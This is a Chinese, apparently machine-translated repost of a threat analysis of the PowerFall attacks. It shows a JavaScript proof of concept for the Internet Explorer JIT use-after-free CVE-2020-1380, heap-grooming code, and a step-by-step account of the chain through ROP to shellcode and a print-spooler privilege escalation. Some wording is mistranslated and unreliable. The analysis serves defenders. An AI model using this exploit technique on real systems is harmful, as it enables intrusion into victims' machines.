PowerFall 操作中使用 Internet Explorer 和 Windows zero-day 漏洞

安全小白成长记2020-08-13 15:02:18

Internet Explorer 11远程执行代码漏洞

在野外发现的Internet Explorer的最新零日攻击利用了旧版JavaScript引擎jscript.dll中的漏洞CVE-2020-0674,CVE-2019-1429,CVE-2019-0676和CVE-2018-8653。相比之下,CVE-2020-1380是jscript9.dll中的一个漏洞,默认情况下已从Internet Explorer 9开始使用该漏洞,因此,Microsoft建议的缓解措施(限制jscript.dll的使用)无法保护针对此特定漏洞。

CVE-2020-1380是一个Free-After-Free漏洞,由JIT优化和即时编译代码中缺少必要的检查引起。下面演示了触发漏洞的概念验证(PoC):

function func(O, A, F, O2) {
    arguments.push = Array.prototype.push;
    O = 1;
    arguments.length = 0;
    arguments.push(O2);
    if (F == 1) {
        O = 2;
    }

    // execute abp.valueOf() and write by dangling pointer
    A[5] = O;
};

// prepare objects
var an = new ArrayBuffer(0x8c);
var fa = new Float32Array(an);

// compile func
func(1, fa, 1, {});
for (var i = 0; i < 0x10000; i++) {
    func(1, fa, 1, 1);
}

var abp = {};
abp.valueOf = function() {

    // free 
    worker = new Worker('worker.js');
    worker.postMessage(an, [an]);
    worker.terminate();
    worker = null;

    // sleep
    var start = Date.now();
    while (Date.now() - start < 200) {}

    // TODO: reclaim freed memory

    return 0
};

try {
    func(1, fa, 0, abp);
} catch (e) {
    reload()
}

要了解此漏洞,让我们看一下func()的执行方式。重要的是要了解将什么值设置为A [5]。根据代码,它应该是一个O参数。在函数启动时,将O参数重新分配为1,但随后将函数参数长度设置为0。此操作不会清除函数参数(通常对常规数组会这样做),但允许将参数O2放入参数使用Array.prototype.push在索引零处列出,现在意味着O = O2。除此之外,如果参数F等于1,则O将再次被重新分配,但分配给整数2。这意味着根据F参数的值,O参数等于O2参数的值或整数2。参数A为类型化的32位浮点数数组,在将值分配给数组的索引5之前,应将该值转换为浮点数。将整数转换为浮点数是一项相对简单的任务,但是当将对象转换为浮点数时,它将变得不那么直接。该漏洞利用的对象abp具有覆盖的valueOf()方法。当对象转换为float时执行此方法,但是在该方法内部有释放ArrayBuffer的代码,该代码由Float32Array查看,并在其中设置返回值。为了防止将值存储在释放的对象的内存中,JavaScript引擎需要先检查对象的状态,然后再将值存储在对象中。为了安全地转换和存储float值,JScript9.dll使用函数Js :: TypedArray <float,0> :: BaseTypedDirectSetItem()。您可以在下面看到此函数的反编译代码:

int Js::TypedArray<float,0>::BaseTypedDirectSetItem(Js::TypedArray<float,0> *this, unsigned int index, void *object, int reserved)
{
    Js::JavascriptConversion::ToNumber(object, this->type->library->context);
    if ( LOBYTE(this->view[0]->unusable) )
        Js::JavascriptError::ThrowTypeError(this->type->library->context, 0x800A15E4, 0);
    if ( index < this->count )
    {
        *(float *)&this->buffer[4 * index] = Js::JavascriptConversion::ToNumber(
            object,
            this->type->library->context);
    }
    return 1;
}

double Js::JavascriptConversion::ToNumber(void *object, struct Js::ScriptContext *context)
{
    if ( (unsigned char)object & 1 )
        return (double)((int)object >> 1);
    if ( *(void **)object == VirtualTableInfo<Js::JavascriptNumber>::Address[0] )
        return *((double *)object + 1);
    return Js::JavascriptConversion::ToNumber_Full(object, context);
}

此函数检查类型为float的数组的view [0]-> unusablecount字段,并且在执行valueOf()方法期间释放ArrayBuffer时,这两项检查都将失败,因为将设置view [0]-> unusable设置为1,并且在第一次调用Js :: JavascriptConversion :: ToNumber()期间将count设置为0 。问题在于,仅在解释模式下使用函数Js :: TypedArray <float,0> :: BaseTypedDirectSetItem()

及时编译func()函数时,JavaScript引擎将使用下面的易受攻击的代码。


if ( !((unsigned char)floatArray & 1) && *(void *)floatArray == &Js::TypedArray<float,0>::vftable )
{
  if ( floatArray->count > index )
  {
    buffer = floatArray->buffer + 4*index;
    if ( object & 1 )
    {
      *(float *)buffer = (double)(object >> 1);
    }
    else
    {
      if ( *(void *)object != &Js::JavascriptNumber::vftable )
      {
        Js::JavascriptConversion::ToFloat_Helper(object, (float *)buffer, context);
      }
      else
      {
        *(float *)buffer = *(double *)(object->value);
      }
    }
  }
}

这是Js :: JavascriptConversion :: ToFloat_Helper()函数的代码。

void Js::JavascriptConversion::ToFloat_Helper(void *object, float *buffer, struct Js::ScriptContext *context)
{
  *buffer = Js::JavascriptConversion::ToNumber_Full(object, context);
}

如您所见,与解释模式不同,在即时编译的代码中,不检查ArrayBuffer的生命周期,并且可以释放其内存,然后在调用valueOf()函数时将其回收。此外,攻击者可以控制将返回值写入哪个索引。但是,在“ arguments.length = 0;”和“ arguments.push(O2);”的情况下 在PoC中被替换为“ arguments [0] = O2;” 那么Js :: JavascriptConversion :: ToFloat_Helper()不会触发该错误,因为隐式调用将被禁用,并且不会执行对valueOf()函数的调用。

为了确保及时地编译函数func(),漏洞利用程序会执行0x10000次此函数,对整数执行无害转换,并且只有在再次执行func()之后,才会触发bug。为了释放ArrayBuffer,漏洞利用一种滥用Web Workers API的通用技术。函数postMessage()可用于将对象序列化为消息并将其发送给工作程序。副作用是,已传输的对象被释放,并且在当前脚本上下文中变得不可用。释放ArrayBuffer后,漏洞利用程序通过模拟Sleep()函数使用的代码触发垃圾回收:这是一个while循环,用于检查Date.now()之间的时间间隔和以前存储的值。在那之后,利用漏洞利用整数数组回收内存。

for (var i = 0; i < T.length; i += 1) {
        T[i] = new Array((0x1000 - 0x20) / 4);
        T[i][0] = 0x666; // item needs to be set to allocate LargeHeapBucket
    }

当创建大量数组时,Internet Explorer会分配新的LargeHeapBlock对象,这些对象将由IE的自定义堆实现使用。LargeHeapBlock对象将存储为数组分配的缓冲区的地址。如果成功实现了预期的内存布局,则该漏洞将使用0覆盖LargeHeapBlock的偏移量0x14处的值,该值恰好是分配的块数。

操作PowerFall中使用的Internet Explorer和Windows零时差漏洞

jscript9.dll x86的LargeHeapBlock结构

之后,漏洞利用会分配大量数组,并将它们设置为在漏洞利用的初始阶段准备好的另一个数组。然后将此数组设置为null,漏洞利用程序调用CollectGarbage()函数。这将导致堆碎片整理,并且修改后的LargeHeapBlock及其相关的数组缓冲区将被释放。在此阶段,漏洞利用会创建大量的整数数组,以期收回以前释放的数组缓冲区。新创建的数组的魔术值设置为索引零,并通过指向先前释放的数组的悬空指针检查该值,以检测利用是否成功。

        for (var i = 0; i < K.length; i += 1) {
            K[i] = new Array((0x1000 - 0x20) / 4);
            K[i][0] = 0x888; // store magic
        }

        for (var i = 0; i < T.length; i += 1) {
            if (T[i][0] == 0x888) { // find array accessible through dangling pointer
                R = T[i];
                break;
            }
        }

结果,漏洞利用创建了两个不同的JavascriptNativeIntArray对象,它们的缓冲区指向相同的位置。这样就可以检索对象的地址,甚至可以创建新的格式错误的对象。该漏洞利用这些原语来创建格式错误的DataView对象,并获得对该进程整个地址空间的读/写访问权限。

构建了任意的读/写原语之后,就该绕过Control Flow Guard(CFG)并执行代码了。该漏洞利用数组的vftable指针获取jscript9.dll的模块基地址。从那里,它解析jscript9.dll的PE头以获得导入目录表的地址,并解析其他模块的基地址。此处的目标是找到函数VirtualProtect()的地址,该地址将用于使Shellcode可执行。之后,漏洞利用程序在jscript9.dll中搜索两个签名。这些签名对应于Unicode字符串“ split”的地址和函数的地址:JsUtil :: DoublyLinkedListElement :: LinkToBeginning ()。Unicode字符串“ split”的地址用于获取对该字符串的代码引用,并借助其帮助来解析Js :: JavascriptString :: EntrySplit()函数的地址,该函数实现了字符串方法split()。函数LinkToBeginning ()的地址用于获取全局链接列表中第一个ThreadContext对象的地址。该漏洞利用程序在链接列表中找到最后一个条目,并使用它为负责执行脚本的线程获取堆栈的位置。之后是最后阶段。该漏洞利用程序执行split()方法,并提供一个覆盖了valueOf()方法的对象作为限制论据。在执行函数Js :: JavascriptString :: EntrySplit()的过程中执行重写的valueOf()方法时,漏洞利用程序将搜索线程的堆栈以查找返回地址,将shellcode放置在准备好的缓冲区中,获取其地址,最后,通过覆盖函数的返回地址,构建面向返回的编程(ROP)链以执行Shellcode。

下个阶段

Shellcode是附加到Shellcode上的可移植可执行(PE)模块的反射DLL加载器。该模块非常小,整个功能位于单个功能内。它在一个名为ok.exe的临时文件夹中创建一个文件,并将远程代码执行漏洞中存在的另一个可执行文件的内容写入该文件。之后,执行ok.exe。

ok.exe可执行文件包含针对GDI打印/打印后台处理程序API中的任意指针取消引用漏洞CVE-2020-0986的特权提升漏洞。最初,此漏洞是由与趋势科技的零日计划合作的匿名用户于2019年12月报告给Microsoft的。

该漏洞使得可以使用进程间通信来读取和写入splwow64.exe进程的任意内存,并使用它来实现splwow64.exe进程中的代码执行,从而绕过CFG和EncodePointer保护。该漏洞利用程序的资源中嵌入了两个可执行文件。第一个可执行文件以CreateDC.exe的形式写入磁盘,并用于创建设备上下文(DC),这是开发所必需的。第二个可执行文件的名称为PoPc​​.dll,如果利用成功,则由具有中等完整性级别的splwow64.exe执行。

操作PowerFall中使用的Internet Explorer和Windows零时差漏洞
从splwow64.exe执行恶意PowerShell命令

PoPc.dll的主要功能也位于单个功能内。它执行一个已编码的PowerShell命令,

js代码对象数组
本作品采用《CC 协议》,转载必须注明作者和本文链接
如今Node.js凭借其跨平台、高性能的JavaScript执行环境,被广泛应用于服务器端和桌面程序(如Skype)的开发。在过去几年中,有报道称其他动态编程语言(例如 PHP 和 Ruby)在共享对象方面是不安全的。然而,这种安全风险在 JavaScript 和 Node.js 程序中并没有得到很好的研究和理解。
高达40%的npm包依赖的代码至少包含一个公开漏洞,因此如何解决 Node.js 应用的安全性检测是一个十分重要的问题。
由此可以推测,之前找到的main.node,可能就是解密模块。此时找到了AES的算法常量,前两个是重复的,可能是插件问题。只能去问度娘了,搜索一下AES加密解密原理与 C 实现代码
跟随P4nda大佬的博客复现了CVE-2018-17463,在一些大佬懒得讲的地方加了一些理解和解释,比较新手向。
文章主要内容记录对某次应急事件中获取到的特殊钓鱼样本的分析,该样本通过sapien powershell studio将powershell代码封装成可执行文件来绕过一些查杀和限制;0x01 背景某次应急事件中拿到一个攻击者使用的钓鱼样本,这个样本比较有意思和之前的分析有些不同,第一次分析也算曲折,此文记录下对该样本的分析过程。光从行为侧去下结论是不太行的。
文章主要内容记录对某次应急事件中获取到的特殊钓鱼样本的分析,该样本通过sapien powershell studio将powershell代码封装成可执行文件来绕过一些查杀和限制;0x01 背景某次应急事件中拿到一个攻击者使用的钓鱼样本,这个样本比较有意思和之前的分析有些不同,第一次分析也算曲折,此文记录下对该样本的分析过程。光从行为侧去下结论是不太行的。
趋势科技的研究人员跟踪了CopperStealer幕后组织的最新部署,这次是通过基于Chromium的恶意浏览器扩展程序窃取加密货币和用户的钱包帐户信息。这些API密钥允许扩展程序执行交易并将加密货币从受害者的钱包发送到攻击者的钱包。第一个是对http:///traffic/chrome的GET请求,可能是出于统计目的。显示要求输入身份验证代码的模式窗口模式窗口有输入框并侦听oninput事件。
前者负责根据HTML网页内容排版渲染出我们看到的网页,后者负责执行网页中的JS代码,实现网页的动态交互。市场份额最广的浏览器最容易被攻击,2015年之前,是IE的天下,那时候IE是最容易被攻击的浏览器。2015年之后,Chrome异军突起,成为了如今黑客主要攻击的对象。而且这个漏洞可以绕过沙箱保护,危害极大。
crawlergo是一个使用chrome headless模式进行URL收集的浏览器爬虫。它对整个网页的关键位置与DOM渲染阶段进行HOOK,自动进行表单填充并提交,配合智能的JS事件触发,尽可能的收集网站暴露出的入口。内置URL去重模块,过滤掉了大量伪静态URL,对于大型网站仍保持较快的解析与抓取速度,最后得到高质量的请求结果集合。调研1.
近年来,浏览器安全事件频发,给人们带来严重的损失。目前这两类技术的研究重点主要在于对浏览器的JavaScript引擎的模糊测试,基础思想都是首先将JS代码转换为语法树AST,再在语法树上进行相关变异操作。同时对其他部分进行变异,以便可以发现类似的或新的错误。⑤DIE记录运行时覆盖反馈信息决定新文件将被保存。此外,DIE同样记录自定义函数的参数和返回值的类型,以便在新构建的AST节点中进行合法调用。
安全小白成长记
暂无描述